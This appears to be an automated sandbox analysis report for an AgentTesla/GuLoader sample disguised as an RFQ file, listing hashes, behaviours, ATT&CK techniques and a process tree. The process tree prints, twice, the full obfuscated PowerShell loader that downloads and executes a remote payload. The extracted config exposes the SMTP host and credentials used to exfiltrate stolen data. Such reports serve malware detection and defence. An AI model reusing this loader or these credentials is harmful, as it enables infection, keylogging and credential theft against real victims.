agenttesla | faa259f6938502626581cd6d770aa9a1f13c837c19e2d433b2eff805c1e100d4

Analysis

max time kernel
161s
max time network
173s
platform
windows7_x64
resource
win7-20231023-en
resource tags

arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
submitted
01/11/2023, 06:48

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

RFQ20231031_Commercial list.vbe
Size

51KB
MD5

9885fc872331773b6748ed3886bc7957
SHA1

71bc53359b1fed0f04c81324fce95aa1b7e000d8
SHA256

faa259f6938502626581cd6d770aa9a1f13c837c19e2d433b2eff805c1e100d4
SHA512

80eeb8298b3b7e9f09e73059a8db647fb49e2b8b8fd13ad23d80c0e783e17ae27455c846722d2cdbc3151c0518205fa4426c4ad3ba275eb2bdb14869736d1600
SSDEEP

768:CV+v7O4wiyszD1F1Wa26Hsn3Fk8AUcgW5kZD9407ptajEEONE7kJC3t6AiFj0:Ay3Xz31J26H4Fk8w3mDL7mQNwkJBFj0

Score

10^/10

agenttesla guloader downloader keylogger spyware stealer trojan

Malware Config

Extracted

Credentials

Protocol: smtp
Host:
mail.lipp.com.my
Port:
587
Username:
[email protected]
Password:
11pp@123#

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.lipp.com.my
Port:
587
Username:
[email protected]
Password:
11pp@123#
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
17	api.ipify.org
16	api.ipify.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2416	caspol.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2848	powershell.exe
2416	caspol.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2848 set thread context of 2416	2848	powershell.exe	34

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1464	powershell.exe
2848	powershell.exe
2416	caspol.exe
2416	caspol.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2848	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1464	powershell.exe
Token: SeDebugPrivilege	2848	powershell.exe
Token: SeDebugPrivilege	2416	caspol.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2416	caspol.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 2620 wrote to memory of 1464	2620	WScript.exe	30
PID 2620 wrote to memory of 1464	2620	WScript.exe	30
PID 2620 wrote to memory of 1464	2620	WScript.exe	30
PID 1464 wrote to memory of 2848	1464	powershell.exe	33
PID 1464 wrote to memory of 2848	1464	powershell.exe	33
PID 1464 wrote to memory of 2848	1464	powershell.exe	33
PID 1464 wrote to memory of 2848	1464	powershell.exe	33
PID 2848 wrote to memory of 2416	2848	powershell.exe	34
PID 2848 wrote to memory of 2416	2848	powershell.exe	34
PID 2848 wrote to memory of 2416	2848	powershell.exe	34
PID 2848 wrote to memory of 2416	2848	powershell.exe	34
PID 2848 wrote to memory of 2416	2848	powershell.exe	34
PID 2848 wrote to memory of 2416	2848	powershell.exe	34

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RFQ20231031_Commercial list.vbe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Dishrack ([String]$Misanthropy){$Earmuffs = 'subst'+'ring';For($Anholts173=6; $Anholts173 -lt $Misanthropy.Length-1; $Anholts173+=7){$Kolonnebetegnelsens=$Kolonnebetegnelsens+$Misanthropy.$Earmuffs.Invoke($Anholts173, 1)};$Kolonnebetegnelsens;}$Falsknere=Dishrack 'KiddethWhifflt KropetBimpelpSpeculs Unety:Ejendo/Berygt/Rekognd UnconrMalandiNegroivKagespeLovtek.SteptogLssalgo HinduoLibeleg FaceulFamilieStuppe.PrecaucUdpumpoMotionmBourbo/ EsteluKrankscBilled?TidsaleBedstexTeleutpChlorno RolowrHurlintVocati=KlappedStratooSammenwWellqun kloaklForskroTajaslaGlaciodLeeuwe&OreadbiVerticdRettes=kluded1AdonisWIllaudD DundrZRickvi2Indhol-Clibat4Trvarem Aepyo9reolsyTerindrL Unada3 rejecF PainpnErnrineHighhe_SkoleeRMaureejConducqFjernsgUgidelopalearMKonomikGeometeLignicf maskiE CelesJVauxjaCGraphirNomadi6quackh4PotensaKogefluIndstn ';$Rbe=Dishrack 'AntydniSkillieDisinhxHallwa ';$Orlovernes = Dishrack 'Auktio\AsfaltsCleadfyUdplansTurgeswEmbuscoAnnualwMonogr6 Clayb4Hyperp\bicentW HoveriArbejdnReslasd ScutaoIntertwBokspasBathyhPNaacpaoForstowSterhyeSchnecrEndognSPersonh Aftere Energl strafl Beard\ Fuelwv Pedic1Artige.Susten0 agene\SpisespParlamoPortrawEfterbeKirkesrNidkrusRadiophUnprayesidednl Svejsl Kulho.TastateSoneboxSildefeStamgs '; . ($Rbe) (Dishrack ' Solsi$ KonkuDReappleIndstitUntopoaIngraicHemotrhMeningeVirtusrLapniniDiademnUrinoggFldekaeLutscorPartersHumero2Aeropl=udlaen$ArildaeStarventrekvavMissou: TttedwUnsimpi BelurnBoligodSkadesiPrologrBestia ') ; . ($Rbe) (Dishrack 'Surgel$PluvioO FilecrDistrilForanaoserumivChuppaeNonmetrProlognHindbreRerepesSkarps=Aboxmc$ SemisDToileteUlobortLorenzaLigestc detonh UnforeLandharpickaxiZimbabnBlahspg Loosee Rieker BrohosOverfa2aggrat+Tastil$HypervOhexagyrPoundelIndsnuoShakspvReplateunshavrSvanekn forbrePreapps Forbu ') ; . ($Rbe) (Dishrack 'Bogcaf$ MinueRSysseliStrafenSaalelgTwitchehypophrCondup Prophe=Embays Asylce(Catsup(FnattegKlubhuwMemorimmultisi Ammod RepinewSphygmiSmidignCounci3Totalo2Haulya_MuskoxphardmorStjernoPurpurcaktioneSemisesFladvvsIrrepr Hyperm-InderlFclaren ViolalP Landbr PrikkoAntistcMeconmeBrassisShoppisVelsmaI Andeld Garve=Nonage$Forsyn{ContinPOutpryIVugggaD Toner} White)unlick. DestrCIlkhusoforbehmskabelm ChrisaBodensn Gunbed AncieLAcylati OuttonAffjedeEtater)Charms Morts-QuiritsAdventpSmagsdlSundheiNiogtytParthe Juveno[ HiremcFiffighCirkusagennemr Jtblo]Kriger3Duolet4Grevin '); .($Rbe) (Dishrack 'Folkva$SpokesTWorldlrSericiiForfjak Selvus LsepltTraumaaPrevennLandrikUdforseHoppetsDeplac Overst=Damecy Emaniu$ ProtoRCinqueiAmetabnKildreg erbatesmrrebrFrdigb[Propos$provinR pachaiFilbehn AnbragSikkereIrrederGlosso. ForskcStatshoStoppeuForsken Helpet Strai-Sekraf2Tankev]Hemodi ');& ($Rbe) (Dishrack 'Forgre$RetireVProofeuAriskelAntydegNennaraBionikrBedoltiventeks BegineKommatrnyordnelollopn DiffrdFligsheKnalle= husod(renskrTTvrdrie SprresIntuittChlori-SubdepPBlahstalykkeftAscanihUdadve Forslu$HousebOMultifrTrrelalvenatioUnapprvOgreloeBasunerMobbennRbareseEmbedmsEmbras)hamlet Fraval-droschABeboernUrgammdBeacon Vidaab( Rutsc[ HopelISeasonnCountetNdringPIndesttTippinrImperf]Dighti:Basarb:collatsUndemoirepalezDesinteindecl Outsta-PlatemeRedskaqMethod Misha8 Gigts) anaba ') ;if ($Vulgariserende) {&$Orlovernes $Trikstankes;} else {;$Kolonnebetegnelsens00=Dishrack ' FlgesSHamametIdfolkaBestyrrStueettSyfili-RegionBSimoleiPrisvrtOutgrisAnucleTHeadinr SprogaSecondnLetpaasRomantfAandedeSammenr blubb Hjemvi-BufomaSIsoleroNonadeuAdfrdsrHulkorcsidsteeLoafer spinit$DisconFSovietaoverbolOphavssMedialkDrawlsnSkabeleSluggirSystemeWarlyb Staple-MannisDpolyhyeUdenrisConnivtToxinfiEgeparnSovkhoa TrimktOutbeliStolpeoEilertnStrato Mercim$ ArvelDGgegemeSlyngntTalocraVentricSmithihMallieeLimerbrGhulibiMezzannBobleng ShanaeLangblrSemiexstubuli2Protop '; & ($Rbe) (Dishrack ' Sofis$ SpyttDNationeSekundtTidshoaSnderlcEggplahRoistieZebeckr ToothiMixerfn shapegJugemeeRhabdor Stttesexploi2Satani= Micru$NorseleUnmedinTaelsfvLesley:landstaLoomsppBefolkp Rebsld FilthavandlbtBlufrda Barba ') ; &($Rbe) (Dishrack 'HelbreI divismUnassupDegageoAerophrUnemantGrevsk-CompetM VingeoUnexemdChapfau bearblFremkoeNldenh reinvB AnlgsiSkitsetIncogisfjsetsTSkrmplrjesperaCitrannVaginasImbodifmuggareEctodyrPentah ') ;$Detacheringers2=$Detacheringers2+'\Dehydrogenation.Fan';while (-not $Pattamar) { . ($Rbe) (Dishrack 'Aggrad$ HavnePTimeouaKanephtBuskadtNoncreaVierklmLeukoca BeaujrHoarsp=Tekstu(UudgruTAnnullePerisps IncestCyclop-MonsunPAcestea OpblotFormuehAmbula Virkso$PikkerDQuinaneTigrintHviskealambascAakandhlaboraeHaftorr StjpliLacstrn WohlagshareceVigonir LamelsKausal2Spidsg)Altome ') ; . ($Rbe) $Kolonnebetegnelsens00; . ($Rbe) (Dishrack 'SlvtjsSFestfytPlirenaSeeingrStrikvt ungtf-OptegnSUnadaplfeminieGidseleSlaverpCampag Overlo5 Henka ');} . ($Rbe) (Dishrack 'Expung$EmaljrLMartiniAnlgsbcSkbneteInfluenAmoretsPundenkCresceoNaalefrUncapptKeecheeOpsamltFrailn Quart=Spring InterfGGirnyueStverjtStenen-FordomCDekedboyttrotnSignaltUdmugneIndlulnSuperet Glamo Superc$ SkkebDNonplueLivfultEctotraBogmrkc PhysihThighde FribbrSubbaniSkygnin DeistgVarslieMetoderBostedsPhotoc2Villag ');& ($Rbe) (Dishrack 'Cerebr$KlimprOHovedbuAungthtAlkefutSolitroSknnetn EkstegTermonuPickpueConsig Boltr=Dasket Blitte[ kvistSBigeyeyTidsrasAkersbtTandgleCoronam Unpow. BestiCPocketo StimenSavagivSpermaeHenfrpr StrivtKathar]Levned:Lacrim:OverskF KomporRussifoVallakmPaahftBAfkrftaPortrtsPluskve Unsho6 Frste4JernbaSRecusitConvalrKarabainontypnPublikgpatien(Bjlkeh$FetatiLGaultsi NettocStikkeeRecelenFoulmosSammenkStorvioKaraffr Rubidt Ichthe ResprtFarves)Enamel '); & ($Rbe) (Dishrack 'Erecto$KorresKNonsubounderclPelviooCouncinSvarsknGangbeeFulcrubHiatuseCompletCholeseModforgUnmerinmonterePlaygrlCentrasBatonseSamoannSkriftsNyttel2Rotife Yolki=Weehav Lemnas[ SoegeSGigoloyHertugsForsiktBlackbeUdveksm Uddan.MelankTFyldteeScampixBattert Torde.SchroeEBeanban FrenccCrockoo FjlledBudgetiAncienn RedisgSophis]Barrel:Krogst: TotemACheeriSmisnamCnonobsIMaxienIFonolo. SpildGGralieeSenatetAktionSReasontPolesmr AlgebicigarenTunnelgBulrus(Begrli$TornilO Stampu LdrertEvensct UdlodoUnornan DyetugEnsvinu PupaeeUnfore) Reost '); . ($Rbe) (Dishrack 'Clothe$ SeafaFSubclarPerispgTrompeeAutonofBjergbaHeartwrMisprotFibril=Flomme$KirkesKmiseraopostdil UnheaoGladeln Lovren OverheJitterb SandeePhotoitRevacceAcetylgDeviernDesipieCryptolIndusts BrostePolitinklbehjs Rulle2Presti.NonstasBattutuAllbonbSandwisKrukketsoldagrAutomaiRefigunReregig Faste(Hydrom2Betakk9Dandil1Skibon9 Alvar4Bessem9Neurom,Boghan2 Sedle6 Firme6Bassan5Katedr3 Recta)Domest '); &($Rbe) $Frgefart;}"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1464
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Dishrack ([String]$Misanthropy){$Earmuffs = 'subst'+'ring';For($Anholts173=6; $Anholts173 -lt $Misanthropy.Length-1; $Anholts173+=7){$Kolonnebetegnelsens=$Kolonnebetegnelsens+$Misanthropy.$Earmuffs.Invoke($Anholts173, 1)};$Kolonnebetegnelsens;}$Falsknere=Dishrack 'KiddethWhifflt KropetBimpelpSpeculs Unety:Ejendo/Berygt/Rekognd UnconrMalandiNegroivKagespeLovtek.SteptogLssalgo HinduoLibeleg FaceulFamilieStuppe.PrecaucUdpumpoMotionmBourbo/ EsteluKrankscBilled?TidsaleBedstexTeleutpChlorno RolowrHurlintVocati=KlappedStratooSammenwWellqun kloaklForskroTajaslaGlaciodLeeuwe&OreadbiVerticdRettes=kluded1AdonisWIllaudD DundrZRickvi2Indhol-Clibat4Trvarem Aepyo9reolsyTerindrL Unada3 rejecF PainpnErnrineHighhe_SkoleeRMaureejConducqFjernsgUgidelopalearMKonomikGeometeLignicf maskiE CelesJVauxjaCGraphirNomadi6quackh4PotensaKogefluIndstn ';$Rbe=Dishrack 'AntydniSkillieDisinhxHallwa ';$Orlovernes = Dishrack 'Auktio\AsfaltsCleadfyUdplansTurgeswEmbuscoAnnualwMonogr6 Clayb4Hyperp\bicentW HoveriArbejdnReslasd ScutaoIntertwBokspasBathyhPNaacpaoForstowSterhyeSchnecrEndognSPersonh Aftere Energl strafl Beard\ Fuelwv Pedic1Artige.Susten0 agene\SpisespParlamoPortrawEfterbeKirkesrNidkrusRadiophUnprayesidednl Svejsl Kulho.TastateSoneboxSildefeStamgs '; . ($Rbe) (Dishrack ' Solsi$ KonkuDReappleIndstitUntopoaIngraicHemotrhMeningeVirtusrLapniniDiademnUrinoggFldekaeLutscorPartersHumero2Aeropl=udlaen$ArildaeStarventrekvavMissou: TttedwUnsimpi BelurnBoligodSkadesiPrologrBestia ') ; . ($Rbe) (Dishrack 'Surgel$PluvioO FilecrDistrilForanaoserumivChuppaeNonmetrProlognHindbreRerepesSkarps=Aboxmc$ SemisDToileteUlobortLorenzaLigestc detonh UnforeLandharpickaxiZimbabnBlahspg Loosee Rieker BrohosOverfa2aggrat+Tastil$HypervOhexagyrPoundelIndsnuoShakspvReplateunshavrSvanekn forbrePreapps Forbu ') ; . ($Rbe) (Dishrack 'Bogcaf$ MinueRSysseliStrafenSaalelgTwitchehypophrCondup Prophe=Embays Asylce(Catsup(FnattegKlubhuwMemorimmultisi Ammod RepinewSphygmiSmidignCounci3Totalo2Haulya_MuskoxphardmorStjernoPurpurcaktioneSemisesFladvvsIrrepr Hyperm-InderlFclaren ViolalP Landbr PrikkoAntistcMeconmeBrassisShoppisVelsmaI Andeld Garve=Nonage$Forsyn{ContinPOutpryIVugggaD Toner} White)unlick. DestrCIlkhusoforbehmskabelm ChrisaBodensn Gunbed AncieLAcylati OuttonAffjedeEtater)Charms Morts-QuiritsAdventpSmagsdlSundheiNiogtytParthe Juveno[ HiremcFiffighCirkusagennemr Jtblo]Kriger3Duolet4Grevin '); .($Rbe) (Dishrack 'Folkva$SpokesTWorldlrSericiiForfjak Selvus LsepltTraumaaPrevennLandrikUdforseHoppetsDeplac Overst=Damecy Emaniu$ ProtoRCinqueiAmetabnKildreg erbatesmrrebrFrdigb[Propos$provinR pachaiFilbehn AnbragSikkereIrrederGlosso. ForskcStatshoStoppeuForsken Helpet Strai-Sekraf2Tankev]Hemodi ');& ($Rbe) (Dishrack 'Forgre$RetireVProofeuAriskelAntydegNennaraBionikrBedoltiventeks BegineKommatrnyordnelollopn DiffrdFligsheKnalle= husod(renskrTTvrdrie SprresIntuittChlori-SubdepPBlahstalykkeftAscanihUdadve Forslu$HousebOMultifrTrrelalvenatioUnapprvOgreloeBasunerMobbennRbareseEmbedmsEmbras)hamlet Fraval-droschABeboernUrgammdBeacon Vidaab( Rutsc[ HopelISeasonnCountetNdringPIndesttTippinrImperf]Dighti:Basarb:collatsUndemoirepalezDesinteindecl Outsta-PlatemeRedskaqMethod Misha8 Gigts) anaba ') ;if ($Vulgariserende) {&$Orlovernes $Trikstankes;} else {;$Kolonnebetegnelsens00=Dishrack ' FlgesSHamametIdfolkaBestyrrStueettSyfili-RegionBSimoleiPrisvrtOutgrisAnucleTHeadinr SprogaSecondnLetpaasRomantfAandedeSammenr blubb Hjemvi-BufomaSIsoleroNonadeuAdfrdsrHulkorcsidsteeLoafer spinit$DisconFSovietaoverbolOphavssMedialkDrawlsnSkabeleSluggirSystemeWarlyb Staple-MannisDpolyhyeUdenrisConnivtToxinfiEgeparnSovkhoa TrimktOutbeliStolpeoEilertnStrato Mercim$ ArvelDGgegemeSlyngntTalocraVentricSmithihMallieeLimerbrGhulibiMezzannBobleng ShanaeLangblrSemiexstubuli2Protop '; & ($Rbe) (Dishrack ' Sofis$ SpyttDNationeSekundtTidshoaSnderlcEggplahRoistieZebeckr ToothiMixerfn shapegJugemeeRhabdor Stttesexploi2Satani= Micru$NorseleUnmedinTaelsfvLesley:landstaLoomsppBefolkp Rebsld FilthavandlbtBlufrda Barba ') ; &($Rbe) (Dishrack 'HelbreI divismUnassupDegageoAerophrUnemantGrevsk-CompetM VingeoUnexemdChapfau bearblFremkoeNldenh reinvB AnlgsiSkitsetIncogisfjsetsTSkrmplrjesperaCitrannVaginasImbodifmuggareEctodyrPentah ') ;$Detacheringers2=$Detacheringers2+'\Dehydrogenation.Fan';while (-not $Pattamar) { . ($Rbe) (Dishrack 'Aggrad$ HavnePTimeouaKanephtBuskadtNoncreaVierklmLeukoca BeaujrHoarsp=Tekstu(UudgruTAnnullePerisps IncestCyclop-MonsunPAcestea OpblotFormuehAmbula Virkso$PikkerDQuinaneTigrintHviskealambascAakandhlaboraeHaftorr StjpliLacstrn WohlagshareceVigonir LamelsKausal2Spidsg)Altome ') ; . ($Rbe) $Kolonnebetegnelsens00; . ($Rbe) (Dishrack 'SlvtjsSFestfytPlirenaSeeingrStrikvt ungtf-OptegnSUnadaplfeminieGidseleSlaverpCampag Overlo5 Henka ');} . ($Rbe) (Dishrack 'Expung$EmaljrLMartiniAnlgsbcSkbneteInfluenAmoretsPundenkCresceoNaalefrUncapptKeecheeOpsamltFrailn Quart=Spring InterfGGirnyueStverjtStenen-FordomCDekedboyttrotnSignaltUdmugneIndlulnSuperet Glamo Superc$ SkkebDNonplueLivfultEctotraBogmrkc PhysihThighde FribbrSubbaniSkygnin DeistgVarslieMetoderBostedsPhotoc2Villag ');& ($Rbe) (Dishrack 'Cerebr$KlimprOHovedbuAungthtAlkefutSolitroSknnetn EkstegTermonuPickpueConsig Boltr=Dasket Blitte[ kvistSBigeyeyTidsrasAkersbtTandgleCoronam Unpow. BestiCPocketo StimenSavagivSpermaeHenfrpr StrivtKathar]Levned:Lacrim:OverskF KomporRussifoVallakmPaahftBAfkrftaPortrtsPluskve Unsho6 Frste4JernbaSRecusitConvalrKarabainontypnPublikgpatien(Bjlkeh$FetatiLGaultsi NettocStikkeeRecelenFoulmosSammenkStorvioKaraffr Rubidt Ichthe ResprtFarves)Enamel '); & ($Rbe) (Dishrack 'Erecto$KorresKNonsubounderclPelviooCouncinSvarsknGangbeeFulcrubHiatuseCompletCholeseModforgUnmerinmonterePlaygrlCentrasBatonseSamoannSkriftsNyttel2Rotife Yolki=Weehav Lemnas[ SoegeSGigoloyHertugsForsiktBlackbeUdveksm Uddan.MelankTFyldteeScampixBattert Torde.SchroeEBeanban FrenccCrockoo FjlledBudgetiAncienn RedisgSophis]Barrel:Krogst: TotemACheeriSmisnamCnonobsIMaxienIFonolo. SpildGGralieeSenatetAktionSReasontPolesmr AlgebicigarenTunnelgBulrus(Begrli$TornilO Stampu LdrertEvensct UdlodoUnornan DyetugEnsvinu PupaeeUnfore) Reost '); . ($Rbe) (Dishrack 'Clothe$ SeafaFSubclarPerispgTrompeeAutonofBjergbaHeartwrMisprotFibril=Flomme$KirkesKmiseraopostdil UnheaoGladeln Lovren OverheJitterb SandeePhotoitRevacceAcetylgDeviernDesipieCryptolIndusts BrostePolitinklbehjs Rulle2Presti.NonstasBattutuAllbonbSandwisKrukketsoldagrAutomaiRefigunReregig Faste(Hydrom2Betakk9Dandil1Skibon9 Alvar4Bessem9Neurom,Boghan2 Sedle6 Firme6Bassan5Katedr3 Recta)Domest '); &($Rbe) $Frgefart;}"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2848
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:2416

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
d54843910d78226e3f679ee51738ee86

SHA1
af1ff6741bf6a1055e76b69db3ef30bbf18322e8

SHA256
66116a2c0f102de549ce0472f4d895ea8b796812002012ba052a5670e73cbcdf

SHA512
81eaa330771490fe3027f8f2c190b08781bcf32e4bce7195c17430e886ad679a1eb7a291f9a0e7048a2213618114e7db4e6686de555bcf2aad610ee7a5a1c2d3

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabEB68.tmp

Filesize
61KB

MD5
f3441b8572aae8801c04f3060b550443

SHA1
4ef0a35436125d6821831ef36c28ffaf196cda15

SHA256
6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

SHA512
5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar4D1A.tmp

Filesize
163KB

MD5
9441737383d21192400eca82fda910ec

SHA1
725e0d606a4fc9ba44aa8ffde65bed15e65367e4

SHA256
bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

SHA512
7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9I2U6Y8R0APNWGQ324MQ.temp

Filesize
7KB

MD5
fea6d3987e5bbfa5cda972e04dcb5c37

SHA1
e215f7e47855990ec1ec6b016249778c6855e04d

SHA256
a3a262dd61796a3313a28b7af6e650e8b0b64ca4821c6edc161556742e2ab652

SHA512
2c2c9c66b20c918045dffccfb6434949c0b579bd4a399e8a4ddce4219663a74b6111be567dae3ac1468f2938419f5695b6aed450731066ffb3d986153bfe2423

Download Submit
memory/1464-28-0x00000000028B0000-0x0000000002930000-memory.dmp

Filesize
512KB

Download
memory/1464-31-0x00000000028B0000-0x0000000002930000-memory.dmp

Filesize
512KB

Download
memory/1464-10-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

Filesize
9.6MB

Download
memory/1464-11-0x00000000028B0000-0x0000000002930000-memory.dmp

Filesize
512KB

Download
memory/1464-8-0x00000000028B0000-0x0000000002930000-memory.dmp

Filesize
512KB

Download
memory/1464-7-0x00000000028B0000-0x0000000002930000-memory.dmp

Filesize
512KB

Download
memory/1464-4-0x000000001B1F0000-0x000000001B4D2000-memory.dmp

Filesize
2.9MB

Download
memory/1464-5-0x00000000025E0000-0x00000000025E8000-memory.dmp

Filesize
32KB

Download
memory/1464-6-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

Filesize
9.6MB

Download
memory/1464-27-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

Filesize
9.6MB

Download
memory/1464-75-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

Filesize
9.6MB

Download
memory/1464-29-0x00000000028B0000-0x0000000002930000-memory.dmp

Filesize
512KB

Download
memory/1464-30-0x00000000028B0000-0x0000000002930000-memory.dmp

Filesize
512KB

Download
memory/1464-9-0x00000000028B0000-0x0000000002930000-memory.dmp

Filesize
512KB

Download
memory/2416-76-0x0000000021720000-0x0000000021760000-memory.dmp

Filesize
256KB

Download
memory/2416-45-0x0000000001320000-0x0000000003BC6000-memory.dmp

Filesize
40.6MB

Download
memory/2416-72-0x000000006FA50000-0x000000006FA92000-memory.dmp

Filesize
264KB

Download
memory/2416-73-0x000000006F1C0000-0x000000006F8AE000-memory.dmp

Filesize
6.9MB

Download
memory/2416-68-0x0000000001320000-0x0000000003BC6000-memory.dmp

Filesize
40.6MB

Download
memory/2416-67-0x000000006FA50000-0x0000000070AB2000-memory.dmp

Filesize
16.4MB

Download
memory/2416-63-0x000000006FA50000-0x0000000070AB2000-memory.dmp

Filesize
16.4MB

Download
memory/2416-77-0x000000006F1C0000-0x000000006F8AE000-memory.dmp

Filesize
6.9MB

Download
memory/2416-79-0x0000000021720000-0x0000000021760000-memory.dmp

Filesize
256KB

Download
memory/2416-43-0x0000000001320000-0x0000000003BC6000-memory.dmp

Filesize
40.6MB

Download
memory/2416-44-0x0000000077740000-0x00000000778E9000-memory.dmp

Filesize
1.7MB

Download
memory/2848-17-0x00000000023C0000-0x0000000002400000-memory.dmp

Filesize
256KB

Download
memory/2848-42-0x0000000077930000-0x0000000077A06000-memory.dmp

Filesize
856KB

Download
memory/2848-41-0x0000000077740000-0x00000000778E9000-memory.dmp

Filesize
1.7MB

Download
memory/2848-40-0x0000000006230000-0x0000000008AD6000-memory.dmp

Filesize
40.6MB

Download
memory/2848-39-0x0000000006230000-0x0000000008AD6000-memory.dmp

Filesize
40.6MB

Download
memory/2848-38-0x0000000006230000-0x0000000008AD6000-memory.dmp

Filesize
40.6MB

Download
memory/2848-69-0x00000000023C0000-0x0000000002400000-memory.dmp

Filesize
256KB

Download
memory/2848-70-0x0000000073780000-0x0000000073D2B000-memory.dmp

Filesize
5.7MB

Download
memory/2848-71-0x0000000006230000-0x0000000008AD6000-memory.dmp

Filesize
40.6MB

Download
memory/2848-37-0x0000000005BA0000-0x0000000005BA1000-memory.dmp

Filesize
4KB

Download
memory/2848-34-0x00000000023C0000-0x0000000002400000-memory.dmp

Filesize
256KB

Download
memory/2848-33-0x0000000073780000-0x0000000073D2B000-memory.dmp

Filesize
5.7MB

Download
memory/2848-32-0x0000000073780000-0x0000000073D2B000-memory.dmp

Filesize
5.7MB

Download
memory/2848-16-0x00000000023C0000-0x0000000002400000-memory.dmp

Filesize
256KB

Download
memory/2848-15-0x0000000073780000-0x0000000073D2B000-memory.dmp

Filesize
5.7MB

Download
memory/2848-14-0x0000000073780000-0x0000000073D2B000-memory.dmp

Filesize
5.7MB

Download